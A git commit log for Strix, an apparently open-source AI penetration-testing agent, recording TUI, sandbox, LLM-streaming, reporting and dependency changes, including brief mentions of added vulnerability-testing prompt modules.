0xallam f1820b76fc Add PostHog integration for analytics and error debugging 2026-01-09 14:24:04 -08:00
0xallamandAhmed Allam 4682657644 chore(deps): bump pypdf from 6.4.0 to 6.6.0
Bumps [pypdf](https://github.com/py-pdf/pypdf) from 6.4.0 to 6.6.0.
- [Release notes](https://github.com/py-pdf/pypdf/releases)
- [Changelog](https://github.com/py-pdf/pypdf/blob/main/CHANGELOG.md)
- [Commits](https://github.com/py-pdf/pypdf/compare/6.4.0...6.6.0)

---
updated-dependencies:
- dependency-name: pypdf
  dependency-version: 6.6.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-09 12:28:41 -08:00
0xallam 5ba69a2800 fix: reduce spacing between consecutive tool calls in TUI 2026-01-08 17:53:16 -08:00
0xallamandAhmed Allam ef4068d376 fix: use fixed per-request timeout for tool server health checks
The previous implementation divided total timeout by retries, making the
timeout behavior confusing and the actual wait time unpredictable. Now
uses a consistent 5-second timeout per request for clearer semantics.
2026-01-08 17:41:44 -08:00
0xallamandAhmed Allam 916a9000af feat: add tool server health check and show error details in CLI
- Add _wait_for_tool_server_health() to verify tool server is responding after init
- Show error details in CLI mode when penetration test fails
- Simplify error message (remove technical URL details)
2026-01-08 17:41:44 -08:00
0xallamandAhmed Allam 3a1820a1ff feat: add tool server health check during sandbox initialization
- Add _wait_for_tool_server_health() method with retry logic and exponential backoff
- Check tool server /health endpoint after container initialization
- Add async _verify_tool_server_health() for health check when reusing containers
- Raise SandboxInitializationError with helpful message if tool server is not responding
- Add TOOL_SERVER_HEALTH_TIMEOUT and TOOL_SERVER_HEALTH_RETRIES constants
2026-01-08 17:41:44 -08:00
0xallamandAhmed Allam 3f19ab1188 fix: add timeout handling for Docker operations and improve error messages
- Add SandboxInitializationError exception for sandbox/Docker failures
- Add 60-second timeout to Docker client initialization
- Add _exec_run_with_timeout() method using ThreadPoolExecutor for exec_run calls
- Catch ConnectionError and Timeout exceptions from requests library
- Add _handle_sandbox_error() and _handle_llm_error() methods in base_agent.py
- Handle sandbox_error_details tool in TUI for displaying errors
- Increase TUI truncation limits for better error visibility
- Update all Docker error messages with helpful hint:
  'Please ensure Docker Desktop is installed and running, and try running strix again.'
2026-01-08 17:41:44 -08:00
0xallamandAhmed Allam 6ecd14741e Remove --run-name CLI argument 2026-01-08 15:16:25 -08:00
0xallamandAhmed Allam 2c7ab780fa Add background styling to finish and reporting tool renderers
- Wrap finish_scan and create_vulnerability_report tool output in Padding with dark grey background (#141414)
- Refactor TUI rendering to support heterogeneous renderables (Text, Padding, Group) instead of just Text
- Update _render_streaming_content and _render_tool_content_simple to return Any renderable type
- Handle interrupted messages by composing with Group instead of appending to Text
2026-01-08 15:09:10 -08:00
0xallamandAhmed Allam ae9719e648 fix(tui): hide cost in stats panel when zero 2026-01-08 12:21:18 -08:00
0xallamandAhmed Allam 3ec2609f6d fix(tui): rename 'Tokens' to 'Total Tokens' in stats display 2026-01-08 12:21:18 -08:00
0xallamandAhmed Allam 4a2379e5ac fix(tui): compare vulnerability content instead of just count for updates 2026-01-08 12:21:18 -08:00
0xallamandAhmed Allam 0deec6da1c fix(tui): use consistent severity colors between vulnerability components 2026-01-08 12:21:18 -08:00
0xallamandAhmed Allam 532a15127f feat(tui): add vulnerability detail dialog with markdown copy support
- Add VulnerabilityDetailScreen modal with full vulnerability details
- Add Copy button that exports report as markdown to clipboard
- Add VulnerabilitiesPanel in sidebar showing found vulnerabilities
- Add clickable VulnerabilityItem widgets with severity-colored dots
- ESC key closes modal dialogs
- Remove emojis from TUI stats panel for cleaner display
- Add build_tui_stats_text() for minimal TUI-specific stats
2026-01-08 12:21:18 -08:00
0xallam 91e47f74f9 fix(llm): suppress RuntimeWarnings for unawaited coroutines from asyncio 2026-01-07 20:09:46 -08:00
0xallam 5ec718c460 refactor(cli): remove final statistics display from CLI output 2026-01-07 19:53:40 -08:00
0xallam 18ce29ab25 feat(reporting): improve vulnerability display and reporting format 2026-01-07 19:51:41 -08:00
0xallamandAhmed Allam 8fa934e5dc chore: increase truncation limit to 8000 chars 2026-01-07 19:32:45 -08:00
0xallamandAhmed Allam b687d7a188 feat(reporting): add LLM-based vulnerability deduplication
- Add dedupe.py with XML-based LLM deduplication using direct litellm calls
- Integrate deduplication check in create_vulnerability_report tool
- Add get_existing_vulnerabilities() method to tracer for fetching reports
- Update schema and system prompt with deduplication guidelines
2026-01-07 19:32:45 -08:00
0xallamandAhmed Allam 451fc34e8b chore(deps): bump urllib3 from 2.6.0 to 2.6.3
Bumps [urllib3](https://github.com/urllib3/urllib3) from 2.6.0 to 2.6.3.
- [Release notes](https://github.com/urllib3/urllib3/releases)
- [Changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst)
- [Commits](https://github.com/urllib3/urllib3/compare/2.6.0...2.6.3)

---
updated-dependencies:
- dependency-name: urllib3
  dependency-version: 2.6.3
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-07 19:25:31 -08:00
0xallamandAhmed Allam 1993b97f63 feat(reporting): enhance vulnerability reporting with detailed fields and CVSS calculation 2026-01-07 17:50:32 -08:00
0xallamandAhmed Allam f2138c87f8 feat: enable container access to host localhost services
Rewrite localhost/127.x.x.x/0.0.0.0 target URLs to use host.docker.internal,
allowing the container to reach services running on the host machine.

- Add extra_hosts mapping for host.docker.internal on Linux
- Add HOST_GATEWAY env var to container
- Add rewrite_localhost_targets() to transform localhost URLs
- Support full 127.0.0.0/8 loopback range and IPv6 ::1
2026-01-07 12:04:21 -08:00
0xallam 96a7b00d6c Refactor(skills): rename prompt modules to skills and update documentation 2026-01-06 17:50:15 -08:00
0xallamandAhmed Allam 7303e0accf refactor(tui): remove flawed streaming update throttling
The length-based hash was prone to collisions and could miss
content changes. Simplified to always update during streaming.
2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 3069ef13e3 feat(tui): display agent vulnerability count in TUI 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 36d4858e4c feat(tui): enhance spinner animations and update renderer styles 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam b1a7ab006c feat(tui): show tool output in terminal and python renderers
- Terminal renderer now displays command output with smart filtering
- Strips PS1 prompts, command echoes, and hardcoded status messages
- Python renderer now shows stdout/stderr from execution results
- Both renderers support line truncation (50 lines max, 200 chars/line)
- Removed smart coloring in favor of consistent dim styling
- Added proper error and exit code display
2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 400aaac0d3 feat(tui): enhance streaming content handling and animation efficiency 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam ce121e0c65 refactor(llm): streamline reasoning effort handling and remove unused patterns 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 938ae01b32 fix(llm): update logging configuration for asyncio 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam d9e8a2e246 feat(tui): implement request and response content truncation for improved readability 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 1af7264926 refactor(tui): improve agent node expansion handling and add tree node selection functionality 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 5acb924d9c feat(agent): implement user interruption handling in agent execution 2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam c573f9dc97 fix(llm): add streaming retry with exponential backoff
- Retry failed streams up to 3 times with exp backoff (8s min, 64s max)
- Reset chunks on failure and retry full request
- Use litellm._should_retry() for retryable error detection
- Switch to async acompletion() for streaming
- Refactor generate() into smaller focused methods
2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 463e90c67b feat(tui): add real-time streaming LLM output with full content display
- Convert LiteLLM requests to streaming mode with stream_request()
- Add streaming parser to handle live LLM output segments
- Update TUI for real-time streaming content rendering
- Add tracer methods for streaming content tracking
- Clean function tags from streamed content to prevent display
- Remove all truncation from tool renderers for full content visibility
2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 53a47357ec feat(tui): refactor TUI components for improved text rendering and styling
- Removed unused escape_markup function and integrated rich.text for better text handling.
- Updated various renderers to utilize Text for consistent styling and formatting.
- Enhanced chat and agent message displays with dynamic text features.
- Improved error handling and display for various tool components.
- Refined TUI styles for better visual consistency across components.
2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 5bdb59001a feat(tui): enhance splash screen and agent status display
- Reduced animation timer for splash screen to improve responsiveness.
- Added URL display to the splash screen.
- Improved start line animation with dynamic character styling.
- Updated agent status display to show "Initializing Agent" when no real activity is detected.
- Enhanced waiting and animated verb text with dynamic styling.
- Implemented sidebar visibility toggle based on window size.
- Updated live stats to include model information from agent configuration.
- Refined TUI styles for better visual consistency.
2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam fb52c2b758 feat(tui): add multiline chat input with dynamic height
- Support Shift+Enter to insert newlines in chat input
- Chat input container expands dynamically up to 8 lines
- Enter key sends message as before
- Fix cursor line background to match unselected lines
2026-01-06 16:44:22 -08:00
0xallamandAhmed Allam 5b93ea1db6 chore(deps): bump pynacl from 1.5.0 to 1.6.2
Bumps [pynacl](https://github.com/pyca/pynacl) from 1.5.0 to 1.6.2.
- [Changelog](https://github.com/pyca/pynacl/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pyca/pynacl/compare/1.5.0...1.6.2)

---
updated-dependencies:
- dependency-name: pynacl
  dependency-version: 1.6.2
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-06 15:47:36 -08:00
0xallamandAhmed Allam 33d1f1b240 chore(deps): bump aiohttp from 3.12.15 to 3.13.3
---
updated-dependencies:
- dependency-name: aiohttp
  dependency-version: 3.13.3
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-01-05 18:06:30 -08:00
Hongchao MaandAhmed Allam b99e9ce521 libasound2 being a virtual package in newer Kali/Debian. Replace it with libasound2t64. 2026-01-05 12:06:31 -08:00
0xallam e468a603b5 chore: update website links to strix.ai 2026-01-03 17:58:34 -08:00
0xallam 31ed2bb54e docs: add documentation links to README 2026-01-03 17:56:35 -08:00
Ahmed AllamandGitHub 98f2569bca Update link in README 2026-01-03 08:28:03 +04:00
ahmedandAhmed Allam 7c5107b654 feat(prompts): enhance Next.js framework module with reconnaissance techniques
- Add route enumeration section with __BUILD_MANIFEST.sortedPages technique
  - Add environment variable leakage detection (NEXT_PUBLIC_ prefix)
  - Add data fetching over-exposure section for __NEXT_DATA__ inspection
  - Add API route path normalization bypass techniques
2026-01-02 15:35:52 -08:00
Vincent550102andAhmed Allam 8caf04d469 fix: Convert dictionary views to lists for stable iteration over agents and tool executions. 2026-01-02 14:17:32 -08:00
Vincent550102andAhmed Allam d6ec2e7b11 fix: convert tool_executions.items() to list for stable iteration 2026-01-02 14:17:32 -08:00
Ahmed AllamandGitHub 8781808eb5 Remove PyPI Downloads badge from readme 2026-01-01 23:27:00 +04:00
0xallamandAhmed Allam 3f4cba1b32 chore(deps): bump filelock from 3.19.1 to 3.20.1
Bumps [filelock](https://github.com/tox-dev/py-filelock) from 3.19.1 to 3.20.1.
- [Release notes](https://github.com/tox-dev/py-filelock/releases)
- [Changelog](https://github.com/tox-dev/filelock/blob/main/docs/changelog.rst)
- [Commits](https://github.com/tox-dev/py-filelock/compare/3.19.1...3.20.1)

---
updated-dependencies:
- dependency-name: filelock
  dependency-version: 3.20.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-16 15:13:22 -08:00
0xallam 33742e3ef0 enhance todo tool prompt 2025-12-15 10:26:59 -08:00
0xallam 250ace73fb Update README.md 2025-12-15 10:11:08 -08:00
0xallamandAhmed Allam 14933330de chore: bump version to 0.5.0 2025-12-15 08:21:03 -08:00
0xallamandAhmed Allam 60094acad5 feat: add PyInstaller build for standalone binary distribution
- Add PyInstaller spec file and build script for creating standalone executables
- Add install.sh for curl | sh installation from GitHub releases
- Add GitHub Actions workflow for multi-platform builds (macOS, Linux, Windows)
- Move sandbox-only deps (playwright, ipython, libtmux, etc.) to optional extras
- Make google-cloud-aiplatform optional ([vertex] extra) to reduce binary size
- Use lazy imports in tool actions to avoid loading sandbox deps at startup
- Add -v/--version flag to CLI
- Add website and Discord links to completion message
- Binary size: ~97MB (down from ~120MB with all deps)
2025-12-15 08:21:03 -08:00
0xallam 5a548234c6 chore(todo): encourage batched todo operations
Strengthen schema guidance to batch todo creation, status updates, and completions while reducing unnecessary list refreshes to cut tool-call volume.
2025-12-15 07:41:33 -08:00
Ahmed AllamandGitHub c6c92b6991 Fix badge in README.md 2025-12-15 19:39:47 +04:00
0xallam 2574c54435 chore(tools): raise sandbox execution timeout
Increase default sandbox tool execution timeout from 120s to 500s while keeping connect timeout unchanged.
2025-12-14 20:40:00 -08:00
0xallamandAhmed Allam 145f99f782 feat(tools): add bulk operations support to todo tools
- update_todo: add `updates` param for bulk updates in one call
- mark_todo_done: add `todo_ids` param to mark multiple todos done
- mark_todo_pending: add `todo_ids` param to mark multiple pending
- delete_todo: add `todo_ids` param to delete multiple todos
- Increase todo renderer display limit from 10 to 25
- Maintains backward compatibility with single-ID usage
- Update prompts to keep todos short-horizon and dynamic
2025-12-14 20:31:33 -08:00
0xallamandAhmed Allam e1d440c46f feat: add --scan-mode CLI option with quick/standard/deep modes
Introduces scan mode selection to control testing depth and methodology:
- quick: optimized for CI/CD, focuses on recent changes and high-impact vulns
- standard: balanced coverage with systematic methodology
- deep: exhaustive testing with hierarchical agent swarm (now default)

Each mode has dedicated prompt modules with detailed pentesting guidelines
covering reconnaissance, mapping, business logic analysis, exploitation,
and vulnerability chaining strategies.

Closes #152
2025-12-14 19:13:08 -08:00
a4b737c2b6 Feat: added support for non vision models STRIX_DISABLE_BROWSER flag (#188)
Co-authored-by: 0xallam <ahmed39652003@gmail.com>
2025-12-14 23:45:43 +04:00
Ahmed AllamandGitHub 61c85fe3eb feat(tui): add markdown rendering for agent messages (#197)
Add AgentMessageRenderer to render agent messages with basic markdown support:
- Headers (#, ##, ###, ####)
- Bold (**text**) and italic (*text*)
- Inline code and fenced code blocks
- Links [text](url) and strikethrough

Update system prompt to allow agents to use simple markdown formatting.
2025-12-14 22:53:07 +04:00
Ahmed AllamandGitHub 1e8310afe4 feat(tools): add dedicated todo tool for agent task tracking (#196)
- Add new todo tool with create, list, update, mark_done, mark_pending, delete actions
- Each subagent has isolated todo storage keyed by agent_id
- Support bulk todo creation via JSON array or bullet list
- Add TUI renderers for all todo actions with status markers
- Update notes tool to remove priority and todo-related functionality
- Add task tracking guidance to StrixAgent system prompt
- Fix instruction file error handling in CLI
2025-12-14 22:16:02 +04:00
Ahmed AllamandGitHub 2c3baba9a1 feat(tui): add syntax highlighting for tool renderers (#195)
Add Pygments-based syntax highlighting with native hacker theme:
- Python renderer: Python code highlighting
- Browser renderer: JavaScript code highlighting
- Terminal renderer: Bash command highlighting
- File edit renderer: Auto-detect language from file extension, diff-style display
2025-12-14 04:39:28 +04:00
0xallam 7625fbf80a chore: add Python 3.13 and 3.14 classifiers 2025-12-13 11:20:30 -08:00
Ahmed AllamandGitHub 3ba16c0ca4 Update README to remove duplicate demo image 2025-12-12 21:59:16 +04:00
Ahmed AllamandGitHub 85473d5027 Add DeepWiki docs for Strix 2025-12-12 21:58:28 +04:00
K0INandGitHub 222c0f0d70 Update GitHub Actions checkout action version (#189) 2025-12-11 22:24:20 +04:00
Alexander De Battista KvammeandGitHub 3b835b9986 Fix/ Long text instruction causes crash (#184) 2025-12-08 23:23:51 +04:00
0xallam 7f29b5c278 fix: lint errors and code style improvements 2025-12-07 17:54:32 +02:00
0xallam 90e84acbf8 chore: bump version to 0.4.1 2025-12-07 15:13:45 +02:00
0xallamandAhmed Allam 58cdb273c1 fix: add timeout to sandbox tool execution HTTP calls
Replace timeout=None with configurable timeouts (120s execution, 10s connect)
to prevent hung sandbox connections from blocking indefinitely.

Configurable via STRIX_SANDBOX_EXECUTION_TIMEOUT and STRIX_SANDBOX_CONNECT_TIMEOUT
environment variables.
2025-12-07 17:07:25 +04:00
0xallamandAhmed Allam 4d38708fb2 chore: add google-cloud-aiplatform dependency
Adds support for Vertex AI models via the google-cloud-aiplatform SDK.
2025-12-07 04:11:37 +04:00
0xallam 08c65f73b8 fix: make LLM_API_KEY optional for all providers
Some providers like Vertex AI, AWS Bedrock, and local models don't
require an API key as they use different authentication mechanisms.
2025-12-07 02:07:28 +02:00
0xallamandAhmed Allam 6129465940 fix: filter out image_url content for non-vision models 2025-12-07 02:13:02 +04:00
Ahmed AllamandAhmed Allam e5cca8eb23 chore: Bump litellm version 2025-12-07 01:38:21 +04:00
0xallamandAhmed Allam f25c058f91 fix: pass api_key directly to litellm completion calls 2025-12-07 01:38:21 +04:00
0xallamandAhmed Allam 42e732cc7e fix: set LITELLM_API_KEY env var for unified API key support 2025-12-07 01:38:21 +04:00
0xallam 366e8d2f2d fix: improve request queue reliability and reduce stuck requests 2025-12-06 20:44:48 +02:00
0xallamandAhmed Allam c227957586 chore(deps): bump urllib3 from 2.5.0 to 2.6.0
Bumps [urllib3](https://github.com/urllib3/urllib3) from 2.5.0 to 2.6.0.
- [Release notes](https://github.com/urllib3/urllib3/releases)
- [Changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst)
- [Commits](https://github.com/urllib3/urllib3/compare/2.5.0...2.6.0)

---
updated-dependencies:
- dependency-name: urllib3
  dependency-version: 2.6.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-12-06 16:23:55 +04:00
Ahmed AllamandGitHub 6043aea0e3 Update README.md 2025-12-03 20:09:22 +00:00
Ahmed AllamandAhmed Allam 969c76c62d refactor(tests): reorganize unit tests module structure 2025-12-04 00:02:14 +04:00
Ahmed AllamandAhmed Allam 2a2f72da0b chore: resolve linting errors in test modules 2025-12-04 00:02:14 +04:00
Jeong-RyeolandAhmed Allam 3c5ceaa067 test: add initial unit tests for argument_parser module
Add comprehensive test suite for the argument_parser module including:
- Tests for _convert_to_bool with truthy/falsy values
- Tests for _convert_to_list with JSON and comma-separated inputs
- Tests for _convert_to_dict with valid/invalid JSON
- Tests for convert_string_to_type with various type annotations
- Tests for convert_arguments with typed functions
- Tests for ArgumentConversionError exception class

This establishes the foundation for the project's test infrastructure
with pytest configuration already in place.
2025-12-04 00:02:14 +04:00
e8a101cd72 docs: add file-based instruction example (#165)
Co-authored-by: 0xallam <ahmed39652003@gmail.com>
2025-12-03 22:59:59 +04:00
2faf23d79b feat: Show Model Name in Live Stats Panel (#169)
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
2025-12-03 18:45:01 +00:00
0xallamGitHubdependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
598791452c chore(deps): bump cryptography from 43.0.3 to 44.0.1 (#163)
Bumps [cryptography](https://github.com/pyca/cryptography) from 43.0.3 to 44.0.1.
- [Changelog](https://github.com/pyca/cryptography/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pyca/cryptography/compare/43.0.3...44.0.1)

---
updated-dependencies:
- dependency-name: cryptography
  dependency-version: 44.0.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-02 21:44:35 +04:00
0xallamGitHubdependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
51cd04b4eb chore(deps): bump fonttools from 4.59.1 to 4.61.0 (#161)
Bumps [fonttools](https://github.com/fonttools/fonttools) from 4.59.1 to 4.61.0.
- [Release notes](https://github.com/fonttools/fonttools/releases)
- [Changelog](https://github.com/fonttools/fonttools/blob/main/NEWS.rst)
- [Commits](https://github.com/fonttools/fonttools/compare/4.59.1...4.61.0)

---
updated-dependencies:
- dependency-name: fonttools
  dependency-version: 4.61.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-12-02 19:23:56 +04:00
Ahmed AllamandGitHub 708d0a7ce9 Update link in README 2025-12-01 16:04:46 +04:00
Ahmed AllamandGitHub 4adf5a1f2f Add acknowledgements in README 2025-11-29 19:27:30 +04:00
Ahmed Allam 11769fbd1b chore: Bump version for 0.4.0 release 2025-11-25 20:18:44 +04:00
976faaaebd Real-time display panel for agent stats (#134)
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
2025-11-25 12:06:20 +00:00
ea0b457e6a Add open redirect, subdomain takeover, and info disclosure prompt modules (#132)
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
2025-11-25 10:32:55 +00:00
0xallamandAhmed Allam 867cb6fc1f chore(deps): bump pypdf from 6.1.3 to 6.4.0
Bumps [pypdf](https://github.com/py-pdf/pypdf) from 6.1.3 to 6.4.0.
- [Release notes](https://github.com/py-pdf/pypdf/releases)
- [Changelog](https://github.com/py-pdf/pypdf/blob/main/CHANGELOG.md)
- [Commits](https://github.com/py-pdf/pypdf/compare/6.1.3...6.4.0)

---
updated-dependencies:
- dependency-name: pypdf
  dependency-version: 6.4.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-11-25 12:44:38 +04:00
Ahmed AllamandGitHub 22c37cb9e6 Update README 2025-11-23 22:29:44 +04:00
Ahmed AllamandAhmed Allam d57a334627 feat: support file-based instructions for detailed test configuration 2025-11-23 00:46:37 +04:00
Ahmed AllamandAhmed Allam 2b2b7967b8 feat: enhance run name generation to include target information 2025-11-22 22:54:07 +04:00
Ahmed AllamandAhmed Allam a027b09d3b feat: implement incremental pentest data persistence 2025-11-22 22:54:07 +04:00
20aa7da3d2 feat(llm): make LLM request queue rate limits configurable and more conservative
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
2025-11-22 17:07:43 +00:00
Ahmed Allam 97553dbaad docs: update README 2025-11-21 23:07:11 +04:00
Ahmed Allam 126771f45a feat(agent): implement agent identity guidline and improve system prompt 2025-11-15 16:21:05 +04:00
Ahmed Allam 7e13d887c7 refactor(llm): remove unused temperature parameter from LLMConfig 2025-11-15 12:44:40 +04:00
Ahmed Allam c392315c1f feat(llm): enhance model features handling with pattern matching 2025-11-15 12:43:43 +04:00
Ahmed Allam 8823d56891 fix(agent): increase waiting time threshold from 120 to 600 seconds 2025-11-15 12:39:46 +04:00
Ahmed Allam e261e8c772 chore: Bump LiteLLM version 2025-11-15 12:37:22 +04:00
Ahmed AllamandGitHub f70cb8586e chore: Fix formatting in README.md 2025-11-14 16:07:54 +00:00
Ahmed AllamandAhmed Allam cb9b613863 chore: Minor readme tweaks. Bump version for 0.3.4 release 2025-11-14 20:02:48 +04:00
Mark PercivalandAhmed Allam be913d3cf8 fix: link 2025-11-14 20:02:48 +04:00
Mark PercivalandAhmed Allam a7d782ebee Chore: Update README 2025-11-14 20:02:48 +04:00
Ahmed AllamandAhmed Allam f3c17e224f fix(runtime): correct DOCKER_HOST parsing for sandbox URL 2025-11-14 02:41:00 +04:00
Ahmed AllamandAhmed Allam dffdc50a98 feat: support scanning IP addresses 2025-11-14 01:38:58 +04:00
Ahmed AllamandGitHub e0dac77e6e Update README 2025-11-12 19:29:01 +04:00
purpl3horseandAhmed Allam cce96a3745 Update README.md
Instruction argument was written in plural in the readme ( a typo )
2025-11-12 19:03:27 +04:00
Ahmed AllamandAhmed Allam d7e26dc586 chore: Bump version for 0.3.3 release 2025-11-12 18:58:03 +04:00
Ahmed AllamandAhmed Allam 20ec714fe7 feat: add configurable timeout for LLM requests 2025-11-12 18:58:03 +04:00
Ahmed Allam 92b679d437 docs: update README with recommended models 2025-11-12 15:01:15 +04:00
Alexei Macheret ArturGitHubdependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
ff8e82dca5 chore(deps): bump starlette from 0.46.2 to 0.49.1 (#75)
Bumps [starlette](https://github.com/Kludex/starlette) from 0.46.2 to 0.49.1.
- [Release notes](https://github.com/Kludex/starlette/releases)
- [Changelog](https://github.com/Kludex/starlette/blob/main/docs/release-notes.md)
- [Commits](https://github.com/Kludex/starlette/compare/0.46.2...0.49.1)

---
updated-dependencies:
- dependency-name: starlette
  dependency-version: 0.49.1
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-11-10 14:19:18 +04:00
bdac092227 Update Readme
Co-authored-by: m4ki3lf0 <m4ki3lf0@git.com>
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
2025-11-10 09:49:37 +00:00
Ahmed AllamandGitHub 86c1fcf2be Update README 2025-11-08 15:07:53 +04:00
Ahmed Allam 6bc0d0be27 Chore: fix discord link in readme 2025-11-07 18:03:47 +04:00
Ahmed AllamandAhmed Allam fbb7c3f4a3 Fix: update litellm dependency version 2025-11-05 12:40:44 +02:00
Ahmed AllamandAhmed Allam d5dee3e9e8 docs: Update README 2025-11-05 01:21:48 +02:00
Ahmed Allam 95cab302ed chore: Bump version for new release 2025-11-01 04:04:33 +02:00
Ahmed Allam 7cd18a1868 feat: add error handling for headless mode in agent execution and improve CLI on scan failures 2025-11-01 03:29:44 +02:00
Ahmed Allam a7ada8bd24 feat: improve completion message display for scan results and user interruptions 2025-11-01 03:02:47 +02:00
Ahmed AllamandAhmed Allam e5dd46e534 fix: replace raise with sys.exit(1) in clone_repository for better error handling 2025-11-01 02:38:37 +02:00
Ahmed AllamandAhmed Allam 9b16e411d1 feat: enhance agent prompt for multi-target testing 2025-11-01 02:38:37 +02:00
Ahmed AllamandAhmed Allam 9f354df680 docs: Update README to include multi-target testing examples 2025-11-01 02:38:37 +02:00
Ahmed AllamandAhmed Allam 23ace6aac2 feat: implement multi-target scanning 2025-11-01 02:38:37 +02:00
0xallamandAhmed Allam aabca80fee chore(deps): bump pypdf from 6.0.0 to 6.1.3
Bumps [pypdf](https://github.com/py-pdf/pypdf) from 6.0.0 to 6.1.3.
- [Release notes](https://github.com/py-pdf/pypdf/releases)
- [Changelog](https://github.com/py-pdf/pypdf/blob/main/CHANGELOG.md)
- [Commits](https://github.com/py-pdf/pypdf/compare/6.0.0...6.1.3)

---
updated-dependencies:
- dependency-name: pypdf
  dependency-version: 6.1.3
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-31 21:13:25 +02:00
dependabot[bot]andAhmed Allam 9008ed854c chore(deps): bump mammoth from 1.10.0 to 1.11.0
Bumps [mammoth](https://github.com/mwilliamson/python-mammoth) from 1.10.0 to 1.11.0.
- [Changelog](https://github.com/mwilliamson/python-mammoth/blob/master/NEWS)
- [Commits](https://github.com/mwilliamson/python-mammoth/compare/1.10.0...1.11.0)

---
updated-dependencies:
- dependency-name: mammoth
  dependency-version: 1.11.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2025-10-31 21:12:41 +02:00
Ahmed Allam b04103ca67 chore: Update Discord invite link in CONTRIBUTING.md 2025-10-31 21:10:50 +02:00
Ahmed AllamandAhmed Allam 728f7380c1 docs: Update README with configuration details and refine headless mode instructions 2025-10-31 21:07:21 +02:00
Ahmed AllamandAhmed Allam 20e98f8255 feat(docs): Enhance README with headless mode and CI/CD integration examples 2025-10-31 21:07:21 +02:00
Ahmed AllamandAhmed Allam 7cbfecc2d5 feat: Add iteration limit warnings for agent 2025-10-31 21:07:21 +02:00
Ahmed AllamandAhmed Allam 713f817e3a feat: Increase agents max_iterations to 300 2025-10-31 21:07:21 +02:00
Ahmed AllamandAhmed Allam ec45205fce refactor: Migrate tracer to new telemetry module 2025-10-31 21:07:21 +02:00
Ahmed AllamandAhmed Allam 833e4dfdce feat(interface): Introduce non-interactive CLI mode and restructure UI layer 2025-10-31 21:07:21 +02:00
Ahmed AllamandGitHub 30e8dac403 chore: replaced Discord invite link with open invite
(remove the unneeded join application)
2025-10-31 15:19:46 +02:00
Ahmed AllamandAhmed Allam b6861369e7 feat(cli): per‑severity vuln counts in test completion panel 2025-10-28 22:48:52 -07:00
Ahmed Allam 24912a6c88 chore: Bump version to 0.1.19 and enhance splash screen 2025-10-29 02:15:30 +03:00
Ahmed AllamandAhmed Allam af9f5285ed refactor: Update agent instructions and descriptions 2025-10-28 13:17:46 -07:00
Ahmed AllamandAhmed Allam 1a3d924ffe feat: Implement waiting timeout handling in BaseAgent and AgentState 2025-10-28 13:17:46 -07:00
Ahmed AllamandAhmed Allam cd3fa478e6 chore: remove unneeded gitkeep files 2025-10-18 18:39:39 -07:00
Ahmed AllamandAhmed Allam 8ccb34c80a feat: Adding graphql testing prompt module 2025-10-18 18:39:39 -07:00
Ahmed AllamandAhmed Allam 2c4bb3e1aa feat: Adding Fastapi testing prompt module 2025-10-18 18:39:39 -07:00
Ahmed AllamandAhmed Allam cd2d33333e feat: Adding Nextjs testing prompt module 2025-10-18 18:39:39 -07:00
Ahmed AllamandAhmed Allam 83b9e4aff9 feat: Adding Firebase testing prompt module 2025-10-18 18:39:39 -07:00
Ahmed AllamandAhmed Allam 70a42e58c8 feat: Adding Supabase security prompt module 2025-10-18 18:39:39 -07:00
Ahmed AllamandAhmed Allam 02a60736c3 refactor: Remove parser hardening examples from xxe prompt 2025-10-13 17:48:32 -07:00
Ahmed AllamandAhmed Allam 96ff90ce9e feat: Adding prompt modules for broken function level authorization, insecure file uploads, mass assignment, and path traversal, LFI, and RFI 2025-10-13 17:48:32 -07:00
Ahmed AllamandAhmed Allam cb69323964 refactor: Revise vulnerabilities prompts for clarity and comprehensiveness 2025-10-13 17:48:32 -07:00
Ahmed Allam 342ce6706d refactor: Add noqa comments to validate_environment function for lint issues 2025-10-12 23:38:24 -07:00
Ahmed AllamandGitHub 29baf39564 feat: Add prompt module collections and contributing.md (#40) 2025-10-10 10:41:42 +01:00
Ahmed Allam a546c902ba Update README.md 2025-09-28 21:56:51 -07:00
